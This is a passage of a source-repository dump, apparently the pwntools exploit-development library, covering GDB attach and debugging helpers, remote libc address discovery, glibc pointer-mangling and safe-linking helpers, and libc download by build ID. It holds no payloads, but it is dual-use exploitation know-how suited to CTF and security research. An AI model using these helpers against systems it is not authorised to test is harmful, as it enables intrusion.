packing._need_bytes(gdbscript, 2, 0x80))\n        shell.upload_data(gdbscript or b'', tmpfile)\n\n        cmd = ['ssh', '-C', '-t', '-p', str(shell.port), '-l', shell.user, shell.host]\n        if shell.password:\n            if not misc.which('sshpass'):\n                log.error(\"sshpass must be installed to debug ssh processes\")\n            cmd = ['sshpass', '-p', shell.password] + cmd\n        if shell.keyfile:\n            cmd += ['-i', shell.keyfile]\n        cmd += ['gdb', '-q', target.executable, str(target.pid), '-x', tmpfile]\n\n        misc.run_in_new_terminal(cmd)\n        return\n\n    elif isinstance(target, tubes.sock.sock):\n        pids = proc.pidof(target)\n        if not pids:\n            log.error('Could not find remote process (%s:%d) on this machine' %\n                      target.sock.getpeername())\n        pid = pids[0]\n\n        # Specifically check for socat, since it has an intermediary process\n        # if you do not specify \"nofork\" to the EXEC: argument\n        # python(2640)───socat(2642)───socat(2643)───bash(2644)\n        if proc.exe(pid).endswith('/socat') and time.sleep(0.1) and proc.children(pid):\n            pid = proc.children(pid)[0]\n\n        # We may attach to the remote process after the fork but before it performs an exec.\n        # If an exe is provided, wait until the process is actually running the expected exe\n        # before we attach the debugger.\n        t = Timeout()\n        with t.countdown(2):\n            while exe and os.path.realpath(proc.exe(pid)) != os.path.realpath(exe) and t.timeout:\n                time.sleep(0.1)\n\n    elif isinstance(target, tubes.process.process):\n        pid = proc.pidof(target)[0]\n        exe = exe or target.executable\n    elif isinstance(target, tuple) and len(target) == 2:\n        host, port = target\n\n        if context.os != 'android':\n            pre += 'target remote %s:%d\\n' % (host, port)\n        else:\n            # Android debugging is done over gdbserver, which can't follow\n            # new inferiors (tldr; follow-fork-mode child) unless it is run\n            # in extended-remote mode.\n            pre += 'target extended-remote %s:%d\\n' % (host, port)\n            pre += 'set detach-on-fork off\\n'\n\n        def findexe():\n            for spid in proc.pidof(target):\n                sexe = proc.exe(spid)\n                name = os.path.basename(sexe)\n                # XXX: parse cmdline\n                if name.startswith('qemu-') or name.startswith('gdbserver'):\n                    exe = proc.cmdline(spid)[-1]\n                    return os.path.join(proc.cwd(spid), exe)\n\n        exe = exe or findexe()\n    elif isinstance(target, elf.corefile.Corefile):\n        pre += 'target core \"%s\"\\n' % target.path\n    else:\n        log.error(\"don't know how to attach to target: %r\", target)\n\n    # if we have a pid but no exe, just look it up in /proc/\n    if pid and not exe:\n        exe_fn = proc.exe\n        if context.os == 'android':\n            exe_fn = adb.proc_exe\n        exe = exe_fn(pid)\n\n    if not pid and not exe and not ssh:\n        log.error('could not find target process')\n\n    gdb_binary = binary()\n    cmd = [gdb_binary]\n\n    if gdb_args:\n        cmd += gdb_args\n\n    if context.gdbinit:\n        cmd += ['-nh']                  # ignore ~/.gdbinit\n        cmd += ['-x', context.gdbinit]  # load custom gdbinit\n\n    cmd += ['-q']\n\n    if exe and context.native:\n        if not ssh and not os.path.isfile(exe):\n            log.error('No such file: %s', exe)\n        cmd += [exe]\n\n    if pid and not context.os == 'android':\n        cmd += ['-p', str(pid)]\n\n    if context.os == 'android' and pid:\n        runner  = _get_runner()\n        which   = _get_which()\n        gdb_cmd = _gdbserver_args(pid=pid, which=which)\n        gdbserver = runner(gdb_cmd)\n        port    = _gdbserver_port(gdbserver, None)\n        host    = context.adb_host\n        pre    += 'target extended-remote %s:%i\\n' % (context.adb_host, port)\n\n        # gdbserver on Android sets 'detach-on-fork on' which breaks things\n        # when you're trying to debug anything that forks.\n        pre += 'set detach-on-fork off\\n'\n\n    if api:\n        # create a UNIX socket for talking to GDB\n        socket_dir = tempfile.mkdtemp()\n        socket_path = os.path.join(socket_dir, 'socket')\n        bridge = os.path.join(os.path.dirname(__file__), 'gdb_api_bridge.py')\n\n        # inject the socket path and the GDB Python API bridge\n        pre = 'python socket_path = ' + repr(socket_path) + '\\n' + \\\n              'source ' + bridge + '\\n' + \\\n              pre\n\n    gdbscript = pre + (gdbscript or '')\n\n    if gdbscript:\n        with tempfile.NamedTemporaryFile(prefix = 'pwnlib-gdbscript-', suffix = '.gdb',\n                                          delete = False, mode = 'w+') as tmp:\n            log.debug('Wrote gdb script to %r\\n%s', tmp.name, gdbscript)\n            gdbscript = 'shell rm %s\\n%s' % (tmp.name, gdbscript)\n\n            tmp.write(gdbscript)\n        cmd += ['-x', tmp.name]\n\n    log.info('running in new terminal: %s', cmd)\n\n    if api:\n        # prevent gdb_faketerminal.py from messing up api doctests\n        def preexec_fn():\n            os.environ['GDB_FAKETERMINAL'] = '0'\n    else:\n        preexec_fn = None\n    gdb_pid = misc.run_in_new_terminal(cmd, preexec_fn = preexec_fn)\n\n    if pid and context.native:\n        gdb_pid = proc.wait_for_debugger(pid, gdb_pid)\n\n    if not api:\n        return gdb_pid\n\n    # connect to the GDB Python API bridge\n    from rpyc import BgServingThread\n    from rpyc.utils.factory import unix_connect\n\n    t = Timeout()\n    with t.countdown(10):\n        while t.timeout:\n            try:\n                conn = unix_connect(socket_path)\n                break\n            except (ConnectionRefusedError, FileNotFoundError):\n                time.sleep(0.1)\n        else:\n            # Check to see if RPyC is installed at all in GDB\n            rpyc_check = [gdb_binary, '--nx', '-batch', '-ex',\n                          'python import rpyc; import gdb; gdb.execute(\"quit 123\")']\n\n            if 123 != tubes.process.process(rpyc_check).poll(block=True):\n                log.error('Failed to connect to GDB: rpyc is not installed')\n\n            # Check to see if the socket ever got created\n            if not os.path.exists(socket_path):\n                log.error('Failed to connect to GDB: Unix socket %s was never created', socket_path)\n\n            # Check to see if the remote RPyC client is a compatible version\n            version_check = [gdb_binary, '--nx', '-batch', '-ex',\n                            'python import platform; print(platform.python_version())']\n            gdb_python_version = tubes.process.process(version_check).recvall().strip()\n            python_version = str(platform.python_version())\n\n            if gdb_python_version != python_version:\n                log.error('Failed to connect to GDB: Version mismatch (%s vs %s)',\n                           gdb_python_version,\n                           python_version)\n\n            # Don't know what happened\n            log.error('Failed to connect to GDB: Unknown error')\n\n    # now that connection is up, remove the socket from the filesystem\n    os.unlink(socket_path)\n    os.rmdir(socket_dir)\n\n    # create a thread for receiving breakpoint notifications\n    BgServingThread(conn, callback=lambda: None)\n\n    return gdb_pid, Gdb(conn)\n\n\ndef ssh_gdb(ssh, argv, gdbscript = None, arch = None, **kwargs):\n    if not isinstance(argv, (list, tuple)):\n        argv = [argv]\n\n    exe = argv[0]\n    argv = [\"gdbserver\", \"--multi\", \"127.0.0.1:0\"] + argv\n\n    # Download the executable\n    local_exe = os.path.basename(exe)\n    ssh.download_file(ssh.which(exe), local_exe)\n\n    # Run the process\n    c = ssh.process(argv, **kwargs)\n\n    # Find the port for the gdb server\n    c.recvuntil(b'port ')\n    line = c.recvline().strip()\n    gdbport = re.match(b'[0-9]+', line)\n    if gdbport:\n        gdbport = int(gdbport.group(0))\n\n    l = tubes.listen.listen(0)\n    forwardport = l.lport\n\n    attach(('127.0.0.1', forwardport), gdbscript, local_exe, arch, ssh=ssh)\n    l.wait_for_connection().connect_both(ssh.connect_remote('127.0.0.1', gdbport))\n    return c\n\ndef find_module_addresses(binary, ssh=None, ulimit=False):\n    \"\"\"\n    Cheat to find modules by using GDB.\n\n    We can't use ``/proc/$pid/map`` since some servers forbid it.\n    This breaks ``info proc`` in GDB, but ``info sharedlibrary`` still works.\n    Additionally, ``info sharedlibrary`` works on FreeBSD, which may not have\n    procfs enabled or accessible.\n\n    The output looks like this:\n\n    ::\n\n        info proc mapping\n        process 13961\n        warning: unable to open /proc file '/proc/13961/maps'\n\n        info sharedlibrary\n        From        To          Syms Read   Shared Object Library\n        0xf7fdc820  0xf7ff505f  Yes (*)     /lib/ld-linux.so.2\n        0xf7fbb650  0xf7fc79f8  Yes         /lib32/libpthread.so.0\n        0xf7e26f10  0xf7f5b51c  Yes (*)     /lib32/libc.so.6\n        (*): Shared library is missing debugging information.\n\n    Note that the raw addresses provided by ``info sharedlibrary`` are actually\n    the address of the ``.text`` segment, not the image base address.\n\n    This routine automates the entire process of:\n\n    1. Downloading the binaries from the remote server\n    2. Scraping GDB for the information\n    3. Loading each library into an ELF\n    4. Fixing up the base address vs. the ``.text`` segment address\n\n    Arguments:\n        binary(str): Path to the binary on the remote server\n        ssh(pwnlib.tubes.tube): SSH connection through which to load the libraries.\n            If left as :const:`None`, will use a :class:`pwnlib.tubes.process.process`.\n        ulimit(bool): Set to :const:`True` to run \"ulimit -s unlimited\" before GDB.\n\n    Returns:\n        A list of pwnlib.elf.ELF objects, with correct base addresses.\n\n    Example:\n\n    >>> with context.local(log_level=9999):\n    ...     shell =  ssh(host='example.pwnme', user='travis', password='demopass')\n    ...     bash_libs = gdb.find_module_addresses('/bin/bash', shell)\n    >>> os.path.basename(bash_libs[0].path)\n    'libc.so.6'\n    >>> hex(bash_libs[0].symbols['system']) # doctest: +SKIP\n    '0x7ffff7634660'\n    \"\"\"\n    #\n    # Download all of the remote libraries\n    #\n    if ssh:\n        runner     = ssh.run\n        local_bin  = ssh.download_file(binary)\n        local_elf  = elf.ELF(os.path.basename(binary))\n        local_libs = ssh.libs(binary)\n\n    else:\n        runner     = tubes.process.process\n        local_elf  = elf.ELF(binary)\n        local_libs = local_elf.libs\n\n    #\n    # Get the addresses from GDB\n    #\n    libs = {}\n    cmd  = \"gdb -q -nh --args %s | cat\" % (binary) # pipe through cat to disable colored output on GDB 9+\n    expr = re.compile(r'(0x\\S+)[^/]+(.*)')\n\n    if ulimit:\n        cmd = ['sh', '-c', \"(ulimit -s unlimited; %s)\" % cmd]\n    else:\n        cmd = ['sh', '-c', cmd]\n\n    with runner(cmd) as gdb:\n        if context.aslr:\n            gdb.sendline(b'set disable-randomization off')\n\n        gdb.send(b\"\"\"\\\n        set prompt\n        catch load\n        run\n        \"\"\")\n        gdb.sendline(b'info sharedlibrary')\n        lines = packing._decode(gdb.recvrepeat(2))\n\n        for line in lines.splitlines():\n            m = expr.match(line)\n            if m:\n                libs[m.group(2)] = int(m.group(1),16)\n        gdb.sendline(b'kill')\n        gdb.sendline(b'y')\n        gdb.sendline(b'quit')\n\n    #\n    # Fix up all of the addresses against the .text address\n    #\n    rv = []\n\n    for remote_path,text_address in sorted(libs.items()):\n        # Match up the local copy to the remote path\n        try:\n            path     = next(p for p in local_libs.keys() if remote_path in p)\n        except StopIteration:\n            print(\"Skipping %r\" % remote_path)\n            continue\n\n        # Load it\n        lib      = elf.ELF(path)\n\n        # Find its text segment\n        text     = lib.get_section_by_name('.text')\n\n        # Fix the address\n        lib.address = text_address - text.header.sh_addr\n        rv.append(lib)\n\n    return rv\n\ndef corefile(process):\n    r\"\"\"Drops a core file for a running local process.\n\n    Note:\n        You should use :meth:`.process.corefile` instead of using this method directly.\n\n    Arguments:\n        process: Process to dump\n\n    Returns:\n        :class:`.Core`: The generated core file\n\n    Example:\n\n        >>> io = process('bash')\n        >>> core = gdb.corefile(io)\n        >>> core.exe.name # doctest: +ELLIPSIS\n        '.../bin/bash'\n    \"\"\"\n\n    if context.noptrace:\n        log.warn_once(\"Skipping corefile since context.noptrace==True\")\n        return\n\n    corefile_path = './core.%s.%i' % (os.path.basename(process.executable),\n                                    process.pid)\n\n    # Due to https://sourceware.org/bugzilla/show_bug.cgi?id=16092\n    # will disregard coredump_filter, and will not dump private mappings.\n    if version() < (7,11):\n        log.warn_once('The installed GDB (%s) does not emit core-dumps which '\n                      'contain all of the data in the process.\\n'\n                      'Upgrade to GDB >= 7.11 for better core-dumps.' % binary())\n\n    # This is effectively the same as what the 'gcore' binary does\n    gdb_args = ['-batch',\n                '-q',\n                '-nx',\n                '-ex', 'set pagination off',\n                '-ex', 'set height 0',\n                '-ex', 'set width 0',\n                '-ex', 'set use-coredump-filter on',\n                '-ex', 'generate-core-file %s' % corefile_path,\n                '-ex', 'detach']\n\n    with context.local(terminal = ['sh', '-c']):\n        with context.quiet:\n            pid = attach(process, gdb_args=gdb_args)\n            log.debug(\"Got GDB pid %d\", pid)\n            try:\n                psutil.Process(pid).wait()\n            except psutil.Error:\n                pass\n\n    if not os.path.exists(corefile_path):\n        log.error(\"Could not generate a corefile for process %d\", process.pid)\n\n    return elf.corefile.Core(corefile_path)\n\ndef version(program='gdb'):\n    \"\"\"Gets the current GDB version.\n\n    Note:\n        Requires that GDB version meets the following format:\n\n        ``GNU gdb (GDB) 7.12``\n\n    Returns:\n        tuple: A tuple containing the version numbers\n\n    Example:\n\n        >>> (7,0) <= gdb.version() <= (19,0)\n        True\n    \"\"\"\n    program = misc.which(program)\n    expr = br'([0-9]+\\.?)+'\n\n    with tubes.process.process([program, '--version'], level='error', stdout=tubes.process.PIPE) as gdb:\n        version = gdb.recvline()\n\n    versions = re.search(expr, version).group()\n\n    return tuple(map(int, versions.split(b'.')))\n"
  },
  {
    "path": "pwnlib/gdb_api_bridge.py",
    "content": "\"\"\"GDB Python API bridge.\"\"\"\nimport gdb\n\nimport socket\nfrom threading import Condition\nimport time\n\nfrom rpyc.core.protocol import Connection\nfrom rpyc.core.service import Service\nfrom rpyc.lib import spawn\nfrom rpyc.lib.compat import select_error\nfrom rpyc.utils.server import ThreadedServer\n\n\nclass ServeResult:\n    \"\"\"Result of serving requests on GDB thread.\"\"\"\n    def __init__(self):\n        self.cv = Condition()\n        self.done = False\n        self.exc = None\n\n    def set(self, exc):\n        with self.cv:\n            self.done = True\n            self.exc = exc\n            self.cv.notify()\n\n    def wait(self):\n        with self.cv:\n            while not self.done:\n                self.cv.wait()\n            if self.exc is not None:\n                raise self.exc\n\n\nclass GdbConnection(Connection):\n    \"\"\"A Connection implementation that serves requests on GDB thread.\n\n    Serving on GDB thread might not be ideal from the responsiveness\n    perspective, however, it is simple and reliable.\n    \"\"\"\n    SERVE_TIME = 0.1  # Number of seconds to serve.\n    IDLE_TIME = 0.1  # Number of seconds to wait after serving.\n\n    def serve_gdb_thread(self, serve_result):\n        \"\"\"Serve requests on GDB thread.\"\"\"\n        try:\n            deadline = time.time() + self.SERVE_TIME\n            while True:\n                timeout = deadline - time.time()\n                if timeout < 0:\n                    break\n                super().serve(timeout=timeout)\n        except Exception as exc:\n            serve_result.set(exc)\n        else:\n            serve_result.set(None)\n\n    def serve_all(self):\n        \"\"\"Modified version of rpyc.core.protocol.Connection.serve_all.\"\"\"\n        try:\n            while not self.closed:\n                serve_result = ServeResult()\n                gdb.post_event(lambda: self.serve_gdb_thread(serve_result))\n                serve_result.wait()\n                time.sleep(self.IDLE_TIME)\n        except (socket.error, select_error, IOError):\n            if not self.closed:\n                raise\n        except EOFError:\n            pass\n        finally:\n            self.close()\n\n\nclass GdbService(Service):\n    \"\"\"A public interface for Pwntools.\"\"\"\n\n    _protocol = GdbConnection  # Connection subclass.\n    exposed_gdb = gdb  # ``gdb`` module.\n\n    def exposed_set_breakpoint(self, client, has_stop, *args, **kwargs):\n        \"\"\"Create a breakpoint and connect it with the client-side mirror.\"\"\"\n        if has_stop:\n            class Breakpoint(gdb.Breakpoint):\n                def stop(self):\n                    return client.stop()\n\n            return Breakpoint(*args, **kwargs)\n        return gdb.Breakpoint(*args, **kwargs)\n\n    def exposed_set_finish_breakpoint(self, client, has_stop, has_out_of_scope, *args, **kwargs):\n        \"\"\"Create a finish breakpoint and connect it with the client-side mirror.\"\"\"\n        class FinishBreakpoint(gdb.FinishBreakpoint):\n            if has_stop:\n                def stop(self):\n                    return client.stop()\n            if has_out_of_scope:\n                def out_of_scope(self):\n                    client.out_of_scope()\n        return FinishBreakpoint(*args, **kwargs)\n\n    def exposed_quit(self):\n        \"\"\"Terminate GDB.\"\"\"\n        gdb.post_event(lambda: gdb.execute('quit'))\n\n\nspawn(ThreadedServer(\n    service=GdbService(),\n    socket_path=socket_path,\n    protocol_config={\n        'allow_all_attrs': True,\n        'allow_setattr': True,\n    },\n).start)\n"
  },
  {
    "path": "pwnlib/gdb_faketerminal.py",
    "content": "#!/usr/bin/env python3\nfrom pwnlib.tubes.process import process\nfrom time import sleep\nfrom sys import argv\nfrom os import environ\nsleep(1)\nif len(argv) == 2:\n    sh = process(argv[1], shell=True, timeout=30)\nelse:\n    sh = process(argv[1:], timeout=30)\nsh.sendline('set prompt (gdb)')\nif environ.get('GDB_FAKETERMINAL') == '0':\n    sh.sendline('set pagination off')\n    sh.recvall()\nelse:\n    res = sh.sendlineafter('(gdb)', 'c')\n    while res and b'The program is not being run.' not in res:\n        res = sh.sendlineafter('(gdb)', 'c')\nsh.close()\n"
  },
  {
    "path": "pwnlib/internal/__init__.py",
    "content": ""
  },
  {
    "path": "pwnlib/internal/dochelper.py",
    "content": "import sys\nfrom os.path import basename\n\nfrom docutils import nodes\nfrom docutils import statemachine\ntry:\n    from sphinx.util.compat import Directive\nexcept ImportError:\n    from docutils.parsers.rst import Directive\n\ntry:\n    from StringIO import StringIO\nexcept ImportError:\n    from io import StringIO\n\n\nclass ExecDirective(Directive):\n    \"\"\"Execute the specified python code and insert the output into the document\"\"\"\n    has_content = True\n\n    def run(self):\n        old_stdout, sys.stdout = sys.stdout, StringIO()\n\n        tab_width = self.options.get('tab-width', self.state.document.settings.tab_width)\n        source = self.state_machine.input_lines.source(self.lineno - self.state_machine.input_offset - 1)\n\n        try:\n            exec('\\n'.join(self.content), globals())\n            text = sys.stdout.getvalue()\n            lines = statemachine.string2lines(text, tab_width, convert_whitespace = True)\n            self.state_machine.insert_input(lines, source)\n            return []\n        except Exception:\n            return [nodes.error(None, nodes.paragraph(text = \"Unable to execute python code at %s:%d:\" % (basename(source), self.lineno)), nodes.paragraph(text = str(sys.exc_info()[1])))]\n        finally:\n            sys.stdout = old_stdout\n\ndef setup(app):\n    app.add_directive('exec', ExecDirective)\n"
  },
  {
    "path": "pwnlib/lexer.py",
    "content": "import re\n\nfrom pygments.lexer import RegexLexer\nfrom pygments.lexer import bygroups\nfrom pygments.lexer import include\nfrom pygments.token import Comment\nfrom pygments.token import Name\nfrom pygments.token import Number\nfrom pygments.token import Punctuation\nfrom pygments.token import String\nfrom pygments.token import Text\n\n\nclass PwntoolsLexer(RegexLexer):\n    \"\"\"\n    For Gas (AT&T) assembly code.\n    \"\"\"\n    name = 'GAS'\n    aliases = ['gas', 'asm']\n    filenames = ['*.s', '*.S', '*.asm']\n    mimetypes = ['text/x-gas']\n\n    #: optional Comment or Whitespace\n    string = r'\"(\\\\\"|[^\"])*\"'\n    char = r'[\\w$.@-]'\n    identifier = r'(?:[a-zA-Z$_]' + char + r'*|\\.' + char + '+|or)'\n    number = r'(?:-?0[xX][a-zA-Z0-9]+|\\d+)'\n    memory = r'(?:[\\]\\[])'\n    bad = r'(?:\\(bad\\))'\n\n    tokens = {\n        'root': [\n            include('whitespace'),\n            (identifier + ':', Name.Label),\n            (r'\\.' + identifier, Name.Attribute, 'directive-args'),\n            (r'lock|rep(n?z)?|data\\d+', Name.Attribute),\n            (identifier, Name.Function, 'instruction-args'),\n            (r'[\\r\\n]+', Text),\n            (bad, Text)\n        ],\n\n        'directive-args': [\n            (identifier, Name.Constant),\n            (string, String),\n            ('@' + identifier, Name.Attribute),\n            (number, Number.Integer),\n            (r'[\\r\\n]+', Text, '#pop'),\n\n            (r'#.*?$', Comment, '#pop'),\n\n            include('punctuation'),\n            include('whitespace')\n        ],\n        'instruction-args': [\n            # For objdump-disassembled code, shouldn't occur in\n            # actual assembler input\n            ('([a-z0-9]+)( )(<)('+identifier+')(>)',\n                bygroups(Number.Hex, Text, Punctuation, Name.Constant,\n                         Punctuation)),\n            ('([a-z0-9]+)( )(<)('+identifier+')([-+])('+number+')(>)',\n                bygroups(Number.Hex, Text, Punctuation, Name.Constant,\n                         Punctuation, Number.Integer, Punctuation)),\n\n            # Fun things\n            (r'([\\]\\[]|BYTE|DWORD|PTR|\\+|\\-|}|{|\\^|>>|<<|&)', Text),\n\n            # Address constants\n            (identifier, Name.Constant),\n            (number, Number.Integer),\n            # Registers\n            ('%' + identifier, Name.Variable),\n            ('$' + identifier, Name.Variable),\n            # Numeric constants\n            ('$'+number, Number.Integer),\n            ('#'+number, Number.Integer),\n            (r\"$'(.|\\\\')'\", String.Char),\n            (r'[\\r\\n]+', Text, '#pop'),\n            include('punctuation'),\n            include('whitespace')\n        ],\n        'whitespace': [\n            (r'\\n', Text),\n            (r'\\s+', Text),\n            (r'(?ms)/\\*.*?\\*/', Comment),\n            (r';.*$', Comment)\n        ],\n        'punctuation': [\n            (r'[-*,.():]+', Punctuation)\n        ]\n    }\n\n    def analyse_text(text):\n        if re.match(r'^\\.(text|data|section)', text, re.M):\n            return True\n        elif re.match(r'^\\.\\w+', text, re.M):\n            return 0.1\n\n# Aliases for convenience\nGasLexer = PwntoolsLexer\nObjdumpLexer = PwntoolsLexer\nDObjdumpLexer = PwntoolsLexer\nCppObjdumpLexer = PwntoolsLexer\nCObjdumpLexer = PwntoolsLexer\nLlvmLexer = PwntoolsLexer\nNasmLexer = PwntoolsLexer\nNasmObjdumpLexer = PwntoolsLexer\nCa65Lexer = PwntoolsLexer\n"
  },
  {
    "path": "pwnlib/libc/__init__.py",
    "content": "\"\"\"\nModule for convenient functions specific to different libcs.\n\"\"\"\nfrom pwnlib.libc import glibc\n\n__all__ = ['glibc']\n"
  },
  {
    "path": "pwnlib/libc/glibc.py",
    "content": "\"\"\"\nSome glibc related convenient functions.\n\"\"\"\nfrom pwnlib.context import context\nfrom pwnlib.util.fiddling import ror, rol\n\ndef ptr_mangle(guard: int, value: int) -> int:\n    \"\"\"\n    Perform ``PTR_MANGLE`` in glibc to protect pointers.\n\n    Arguments:\n        guard(int): The value of ``POINTER_GUARD``.\n        value(int): The value to protect.\n\n    Returns:\n        Mangled value.\n\n    Examples:\n        >>> with context.local(arch='amd64'):\n        ...     val = glibc.ptr_mangle(0x1f1f1f1f1f1f1f1f, 0x7f0000000000)\n        ...     print(hex(val))\n        0xc03e3e3e3e3e3e3e\n        >>> with context.local(arch='arm'):\n        ...     val = glibc.ptr_mangle(0x1f1f, 0x2e2e0000)\n        ...     print(hex(val))\n        0x2e2e1f1f\n    \"\"\"\n    if context.arch == 'amd64' or context.arch == 'i386':\n        return rol(value ^ guard, context.bytes * 2 + 1)\n    return value ^ guard\n\ndef ptr_demangle(guard: int, mangled: int) -> int:\n    \"\"\"\n    Perform ``PTR_DEMANGLE`` in glibc to demangle protected pointer.\n\n    Arguments:\n        guard(int): The value of ``POINTER_GUARD``.\n        mangled(int): The value to demangle.\n\n    Returns:\n        Demangled value.\n\n    Examples:\n        >>> with context.local(arch='amd64'):\n        ...     val = glibc.ptr_demangle(0x1f1f1f1f1f1f1f1f, 0xc03e3e3e3e3e3e3e)\n        ...     print(hex(val))\n        0x7f0000000000\n        >>> with context.local(arch='aarch64'):\n        ...     val = glibc.ptr_demangle(0x1f1f1f1f, 0x2e2e2e2e00000000)\n        ...     print(hex(val))\n        0x2e2e2e2e1f1f1f1f\n    \"\"\"\n    if context.arch == 'amd64' or context.arch == 'i386':\n        return ror(mangled, context.bytes * 2 + 1) ^ guard\n    return mangled ^ guard\n\ndef protect_ptr(word_addr: int, value: int) -> int:\n    \"\"\"\n    Perform ``PROTECT_PTR`` in glibc heap macros to protect pointers.\n    ``REVEAL_PTR`` is basically ``PROTECT_PTR``, and since we don't know\n    the address of the word, so use ``protect_ptr`` instead.\n\n    Arguments:\n        word_addr(int): The address of where ``value`` is stored.\n        value(int): The value to protect/reveal\n\n    Returns:\n        Protected/Revealed value\n\n    Examples:\n        >>> hex(glibc.protect_ptr(0x5e5555556700, 0))\n        '0x5e5555556'\n    \"\"\"\n    return (word_addr >> 12) ^ value\n"
  },
  {
    "path": "pwnlib/libcdb.py",
    "content": "\"\"\"\nFetch a LIBC binary based on some heuristics.\n\"\"\"\nimport os\nimport time\nimport tempfile\nimport struct\n\nfrom pwnlib.context import context\nfrom pwnlib.elf import ELF\nfrom pwnlib.filesystem.path import Path\nfrom pwnlib.log import getLogger\nfrom pwnlib.tubes.process import process\nfrom pwnlib.util.fiddling import enhex, unhex\nfrom pwnlib.util.hashes import sha1filehex, sha256filehex, md5filehex\nfrom pwnlib.util.misc import read\nfrom pwnlib.util.misc import which\nfrom pwnlib.util.misc import write\nfrom pwnlib.util.web import wget\n\nlog = getLogger(__name__)\n\n\ndef _turbofast_extract_build_id(path):\n    \"\"\"\n    Elf_External_Note:\n\n    0x00 +--------+\n         | namesz | <- Size of entry's owner string\n    0x04 +--------+\n         | descsz | <- Size of the note descriptor\n    0x08 +--------+\n         |  type  | <- Interpretation of the descriptor\n    0x0c +--------+\n         |  name  | <- Start of the name+desc data\n     ... +--------\n         |  desc  |\n     ... +--------+\n    \"\"\"\n    data = read(path, 0x1000)\n    # search NT_GNU_BUILD_ID and b\"GNU\\x00\" (type+name)\n    idx = data.find(unhex(\"03000000474e5500\"))\n    if idx == -1:\n        return enhex(ELF(path, checksec=False).buildid or b'')\n    descsz, = struct.unpack(\"<L\", data[idx-4: idx])\n    return enhex(data[idx+8: idx+8+descsz])\n\n\nTYPES = {\n    'libs_id': None,\n    'build_id': _turbofast_extract_build_id,\n    'sha1': sha1filehex,\n    'sha256': sha256filehex,\n    'md5': md5filehex,\n}\n\n# mapping for search result (same as libc.rip)\nMAP_TYPES = {\n    'libs_id': 'id',\n    'build_id': 'buildid'\n}\n\nDEBUGINFOD_SERVERS = [\n    'https://debuginfod.ubuntu.com/',\n    'https://debuginfod.debian.net/',\n    'https://debuginfod.elfutils.org/',\n]\n\nif 'DEBUGINFOD_URLS' in os.environ:\n    urls = os.environ['DEBUGINFOD_URLS'].split(' ')\n    DEBUGINFOD_SERVERS = urls + DEBUGINFOD_SERVERS\n\n# Allow to override url with a caching proxy in CI\nLIBC_RIP_URL = os.environ.get(\"PWN_LIBCRIP_URL\", \"https://libc.rip\").rstrip(\"/\")\nGITLAB_LIBCDB_URL = os.environ.get(\"PWN_GITLAB_LIBCDB_URL\", \"https://gitlab.com\").rstrip(\"/\")\n\n# Retry failed lookups after some time\nNEGATIVE_CACHE_EXPIRY = 60 * 60 * 24 * 7 # 1 week\n\n# https://gitlab.com/libcdb/libcdb wasn't updated after 2019,\n# but still is a massive database of older libc binaries.\ndef provider_libcdb(hex_encoded_id, search_type):\n    if search_type == 'libs_id':\n        return None\n\n    # Deferred import because it's slow\n    import requests\n    import urllib.parse\n\n    # Build the URL using the requested hash type\n    url_base = \"{}/libcdb/libcdb/raw/master/hashes/{}/\".format(GITLAB_LIBCDB_URL, search_type)\n    url      = urllib.parse.urljoin(url_base, hex_encoded_id)\n\n    data     = b\"\"\n    log.debug(\"Downloading data from LibcDB: %s\", url)\n    try:\n        while not data.startswith(b'\\x7fELF'):\n            data = wget(url, timeout=20)\n\n            if not data:\n                log.warn_once(\"Could not fetch libc for %s %s from libcdb\", search_type, hex_encoded_id)\n                break\n            \n            # GitLab serves up symlinks with\n            if data.startswith(b'..'):\n                url = os.path.dirname(url) + '/'\n                url = urllib.parse.urljoin(url.encode('utf-8'), data)\n    except requests.RequestException as e:\n        log.warn_once(\"Failed to fetch libc for %s %s from libcdb: %s\", search_type, hex_encoded_id, e)\n    return data\n\ndef query_libc_rip(params):\n    # Deferred import because it's slow\n    import requests\n\n    url = \"{}/api/find\".format(LIBC_RIP_URL)\n    try:\n        result = requests.post(url, json=params, timeout=20)\n        result.raise_for_status()\n        if result.status_code != 200:\n            log.debug(\"Error: %s\", result.text)\n            return None\n        return result.json()\n    except requests.RequestException as e:\n        log.warn_once(\"Failed to fetch libc info from libc.rip: %s\", e)\n        return None\n\n# https://libc.rip/\ndef provider_libc_rip(search_target, search_type):\n    # Build the request for the hash type\n    # https://github.com/niklasb/libc-database/blob/master/searchengine/api.yml\n    if search_type in MAP_TYPES.keys():\n        search_type = MAP_TYPES[search_type]\n\n    params = {search_type: search_target}\n\n    libc_match = query_libc_rip(params)\n    if not libc_match:\n        log.warn_once(\"Could not find libc info for %s %s on libc.rip\", search_type, search_target)\n        return None\n\n    if len(libc_match) > 1:\n        log.debug(\"Received multiple matches. Choosing the first match and discarding the others.\")\n        log.debug(\"%r\", libc_match)\n\n    url = libc_match[0]['download_url']\n    log.debug(\"Downloading data from libc.rip: %s\", url)\n    url = url.replace(\"https://libc.rip\", LIBC_RIP_URL)\n    data = wget(url, timeout=20)\n\n    if not data:\n        log.warn_once(\"Could not fetch libc binary for %s %s from libc.rip\", search_type, search_target)\n        return None\n    return data\n\n# Check if the local system libc matches the requested hash.\ndef provider_local_system(hex_encoded_id, search_type):\n    if search_type == 'libs_id':\n        return None\n    shell_path = os.environ.get('SHELL', None) or '/bin/sh'\n    if not os.path.exists(shell_path):\n        log.debug('Shell path %r does not exist. Skipping local system libc matching.', shell_path)\n        return None\n    local_libc = ELF(shell_path, checksec=False).libc\n    if not local_libc:\n        log.debug('Cannot lookup libc from shell %r. Skipping local system libc matching.', shell_path)\n        return None\n    if TYPES[search_type](local_libc.path) == hex_encoded_id:\n        return local_libc.data\n    return None\n\n# Offline search https://github.com/niklasb/libc-database for hash type\ndef provider_local_database(search_target, search_type):\n    if not context.local_libcdb:\n        return None\n\n    localdb = Path(context.local_libcdb)\n    if not localdb.is_dir():\n        return None\n\n    # Handle the specific search type 'libs_id'\n    if search_type == 'libs_id':\n        libc_list = list(localdb.rglob(\"%s.so\" % search_target))\n        if len(libc_list) == 0:\n            return None\n        return read(libc_list[0])\n\n    log.debug(\"Searching local libc database, %s: %s\", search_type, search_target)\n    for libc_path in localdb.rglob(\"*.so\"):\n        if search_target == TYPES[search_type](libc_path):\n            return read(libc_path)\n\n    return None\n\ndef query_local_database(params):\n    if not context.local_libcdb or not params.get(\"symbols\"):\n        return None\n\n    localdb = Path(context.local_libcdb)\n    if not localdb.is_dir():\n        return None\n\n    res = []\n    query_syms = params[\"symbols\"]\n\n    # Loop through each '.symbols' file in the local database\n    # Make sure `Path.rglod` order stable\n    for symbol_file in 